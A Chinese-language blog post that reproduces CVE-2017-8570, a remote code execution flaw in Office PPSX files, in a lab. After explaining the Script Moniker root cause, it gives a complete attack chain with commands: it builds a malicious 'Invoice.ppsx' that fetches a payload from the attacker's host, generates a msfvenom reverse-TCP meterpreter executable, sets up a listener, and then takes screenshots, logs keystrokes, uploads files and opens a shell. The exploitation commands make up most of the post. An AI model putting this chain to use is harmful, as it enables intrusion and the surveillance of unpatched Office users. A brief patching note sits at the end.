CVE-2017-8570漏洞復(fù)現(xiàn)

詳細(xì)復(fù)現(xiàn)流程,請直接看文章的滲透流程復(fù)現(xiàn)與EXP分析模塊

引言

課題背景

Office作為當(dāng)前市場占有率最高的辦公軟件,卻常常被爆高危漏洞,其中編號為CVE-2017-8570的遠(yuǎn)程代碼執(zhí)行漏洞危害尤其之大。CVE-2017-8570是一個邏輯漏洞,和常規(guī)的內(nèi)存破壞型漏洞不同,這類漏洞無需復(fù)雜的利用手法,直接就可以在office文檔中運行任意的惡意腳本。

CVE-2017-8570漏洞是利用復(fù)合Moniker繞過了CVE-2017-0199的補丁針對Script Moniker和URL Moniker相關(guān)classid的攔截,目前野外暫未發(fā)現(xiàn)攻擊樣本。

本課題的研究方法

① 理解“PPSX Script Moniker”漏洞——文件格式層面

② 了解漏洞成因

③ 學(xué)習(xí)解析Moniker字符串的知識

④ 學(xué)習(xí)Freemarker模板

⑤ 在Ubuntu系統(tǒng)環(huán)境下進(jìn)行復(fù)現(xiàn)

⑥ 使用BurpSuite、Cknife工具對靶場進(jìn)行滲透復(fù)現(xiàn)

漏洞測試影響軟件

Microsoft Office 2007 Service Pack 3

Microsoft Office 2010 Service Pack 2 (32-bit editions)

Microsoft Office 2010 Service Pack 2 (64-bit editions)

Microsoft Office 2013 RT Service Pack 1

Microsoft Office 2013 Service Pack 1 (32-bit editions)

Microsoft Office 2013 Service Pack 1 (64-bit editions)

Microsoft Office 2016 (32-bit edition)

Microsoft Office 2016 (64-bit edition)

漏洞測試環(huán)境

受害者(靶機)

操作系統(tǒng): windows 7 sp1 x86

Office****版本Office 專業(yè)增強版 2016

ip 192.168.89.129

攻擊者

操作系統(tǒng)Kali Linux

ip192.168.89.134

相關(guān)知識和工具簡介

“PPSX Script Moniker”漏洞——文件格式層面

① rId1”是一個被我們的” 魔術(shù)字符串”定義的OLE對象

1.png

② “rId1”被定義為一個“l(fā)ink”對象并且與嘗試去執(zhí)行OLE“Verb”動作的動畫特性相關(guān)聯(lián)

2.png

③ 解析Moniker字符串

“MkParseDisplayName()”被調(diào)用以將“魔術(shù)字符串”轉(zhuǎn)換成一個Moniker對象

object

0:000> r
……

ole32!MkParseDisplayName:

772ece79 8bff mov edi,edi

0:000> du poi(esp+4*2)

0030ccc4 “script:http://server/test.sct

事實上,在這里,第一個“:”之前的字符串是重要的

scripthttp://server/test.sct

這個過程有效小復(fù)雜,更多細(xì)節(jié)請閱讀:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx

④ 什么是“script”Moniker

4.png

CLSID:06290BD3-48AA-11D2-8432-006008C3FBFC

? 這是給Windows腳本組件所用的moniker

? 如果你意識到了“腳本/小腳本”, “無需文件”的惡意代碼..(@subtree & 其他人的工作)

? https://github.com/subtee

⑤ 激活Moniker

? 然而,初始化“script” moniker事實上并不會讓你“運行”內(nèi)部的腳本

? 你仍然需要去“綁定”(“激活”)這個對象

一個簡單的實驗可以證明該點

? 用“script:http://server/test.sct”作為參數(shù)調(diào)用MkParseDisplayName()并不會讓你的代碼得到執(zhí)行(只有scrobj.dll這個moniker dll會被加載)

? 但是在初始化對象時調(diào)用BindToObject()會給你帶來一切

? 這樣一個“verb”動作執(zhí)行嘗試通過PowerPoint放映的“動畫”特性去激活相關(guān)聯(lián)的對象

? IMoniker::BindToObject()被調(diào)用

? 不像“RTF URL Moniker”漏洞,被利用的進(jìn)程起始于OLE API OleCreateLink(),而不是OleRun()

⑥ 對根本原因的總結(jié)

? 這個漏洞是由于monikers可以通過一個PowerPoint放映文件來初始化和激活這一事實

? 關(guān)鍵點在這里,在PowerPoint的動畫特性中嘗試去執(zhí)行“verb”動作時激活了對象,這最終調(diào)用了moniker上的“BindToObject()”

? Windows 腳本組件(“script” Moniker)被設(shè)計用來發(fā)現(xiàn)和運行腳本

? 無需來自另外OLE對象的幫助

6.png

環(huán)境設(shè)計

Office 2016增強版

考慮到現(xiàn)在大多數(shù)設(shè)備使用Office 2016版本,并且未打補丁,選用此版本更具代表性。

office2016.jpg

攻擊機Kali Linux

集成眾多滲透軟件,便于使用

滲透流程復(fù)現(xiàn)與EXP分析

使用nmap確定滲透對象

nmap -sP 192.168.89.0/24

使用nmap確定滲透對象.jpg

使用nmap嘗試遠(yuǎn)程識別靶機操作系統(tǒng)

nmap -O 192.168.89.129

使用nmap嘗試遠(yuǎn)程識別靶機操作系統(tǒng).jpg

生成惡意 PPSX 文件

python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.134/logo.doc

生成惡意 PPSX 文件.jpg

生成惡意的exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 -f exe > /tmp/shell.exe

生成惡意的exe文件.jpg

生成監(jiān)聽模式,監(jiān)聽來自 ppsx 執(zhí)行反彈 shell:(這里會自動啟動 80 端口)

python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.134/shell.exe -l /tmp/shell.exe

監(jiān)聽來自 ppsx 執(zhí)行反彈.jpg

生成msf的監(jiān)聽

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.134; run"

生成msf的監(jiān)聽.jpg

將生成的惡意 Invoice.ppsx 文件復(fù)制到目標(biāo)靶機 win7 系統(tǒng),然后執(zhí)行:

將惡意文件復(fù)制到win7.jpg

即可在msf反彈metertprter的shell出來:

在msf反彈shell.jpg

漏洞修復(fù)

  1. 不要打開任何來源不明的 Office ppt 文檔

2.及時更新并安裝微軟 2017 年 7 月發(fā)布的最新補丁: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CV E-2017-8570fs

后續(xù)滲透

截圖

meterpreter > screenshot

Screenshot saved to: /root/ccoDxgvg.jpeg

截圖.jpg

鍵盤記錄

meterpreter > keyscan_start # 開啟鍵盤記錄

Starting the keystroke sniffer...

meterpreter > keyscan_dump #查看鍵盤記錄內(nèi)容

Dumping captured keystrokes...

**

-[ C:\soft\SogouExplorer\SogouExplorer.exe

-[ @ 2017年8月13日  4:07:31 UTC

**

<Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR>

meterpreter > keyscan_stop #關(guān)閉鍵盤記錄

上傳文件

meterpreter > upload /root/hacker.txt C:\\Users\\DELL\\Desktop

上傳文件1.jpg

上傳文件2.jpg

shell

meterpreter > shell

shell 顧名思義就是shell了,這個命令相當(dāng)于完全控制了windows的cmd命令行,可以執(zhí)行任意cmd操作,當(dāng)然只要權(quán)限足夠大的話。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容